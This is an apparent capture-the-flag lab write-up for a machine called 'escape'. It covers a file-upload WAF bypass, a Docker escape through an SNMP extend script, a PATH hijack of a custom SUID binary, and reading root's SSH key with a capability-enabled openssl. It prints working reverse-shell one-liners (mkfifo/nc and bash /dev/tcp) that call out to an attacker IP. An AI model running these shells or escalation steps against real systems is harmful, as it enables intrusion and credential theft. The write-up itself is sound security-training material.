Web Enumeration -> File Upload

Visiting both the websites shows nothing. The page source just shows this:

I ran a feroxbuster on both, and found a /dev endpoint on port 8080.

$ feroxbuster -u http://192.168.157.113:8080

This was a PHP page, so uploading PHP reverse shells is the priority, and there's a pretty good WAF. I tested loads of method of bypassing it, and this machine requires a combination of quite a few.

File Header Spoofing
Double File Extension
Content-Type Spoofing

We can get a reverse shell by loading the uploaded file:

Privilege Escalation

SNMP -> Docker Escape

We spawned in a Docker container. The /var/backups folder contained a .conf file for SNMP:

www-data@a7c367c2113d:/var/backups$ ls -la
total 20
drwxr-xr-x 1 root root 4096 Dec 21  2020 .
drwxr-xr-x 1 root root 4096 Nov 18  2020 ..
-rwxr--r-- 1 root root 7340 Dec  9  2020 .snmpd.conf

Here are the interesting bits:

Firstly, we have the password string required. Next, we have some sort of script execution within the machine. We can put a reverse shell there instead.

#!/bin/bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.45.227 21 >/tmp/f

Then, transfer this using curl and chmod 777 it. To execute the shell, run this:

$ snmpbulkwalk -c 53cur3M0NiT0riNg -v2c 192.168.157.113 NET-SNMP-EXTEND-MIB::nsExtendOutputFull

LogRotate SUID -> PATH Hijack

I checked for SUID binaries present within this machine:

logconsole was the one I didn't recognise.

Enter the option ==>

It seems like a custom binary. As such, I ran it through ltrace to see what it was executing with each option.

__isoc99_scanf(0x56520b53f5c6, 0x7ffe428ae678, 0x7f317a52b8c0, 02                            
) = 1                                                                                        
printf("\033[0m")                                = 4                                         
putchar(10, 0x7ffe428abfd0, 0x56520b53f650, 0
)   = 10
system("/bin/ps aux"USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  0.8 159660  8976 ?        Ss   03:58   0:01 /sbin/init

it's executing system calls for each option. When I checked the last option, it runs lscpu without the full path:

__isoc99_scanf(0x56520b53f5c6, 0x7ffe428ae678, 0x7f317a52b8c0, 06                            
) = 1                                                                                        
printf("\033[0m")                                = 4                                         
putchar(10, 0x7ffe428abfd0, 0x56520b53f650, 0
)   = 10
system("lscpu"Architecture:        x86_64

This means we can create our own lscpu binary to run.

$ cat lscpu 
bash -c 'bash -i >& /dev/tcp/192.168.45.227/443 0>&1'

Then, place this within /tmp and chmod 777 it. Afterwards, change the PATH variable and run the logconsole binary to check for CPU information.

export PATH=/tmp:$PATH

OpenSSL -> File Read

Within the /opt directory, there's an openssl binary that only tom can execute:

tom@escape:/opt/cert$ ls -la
total 724
drwxr-xr-x 2 root root   4096 Dec  9  2020 .
drwxr-xr-x 4 root root   4096 Dec  9  2020 ..
-rwx------ 1 root root   1245 Dec  9  2020 certificate.pem
-rwx------ 1 root root   1704 Dec  9  2020 key.pem
-rwxr-x--- 1 tom  tom  723944 Dec  9  2020 openssl

We are also given some certs and keys. I first checked this openssl binary using getcap, finding that it has all capabilities enabled, meaning that we can read any file:

tom@escape:/dev/shm$ getcap /opt/cert/openssl
/opt/cert/openssl =ep

We can then use this to read the private SSH key of root:

tom@escape:/dev/shm$ /opt/cert/openssl enc -in "/root/.ssh/id_rsa"
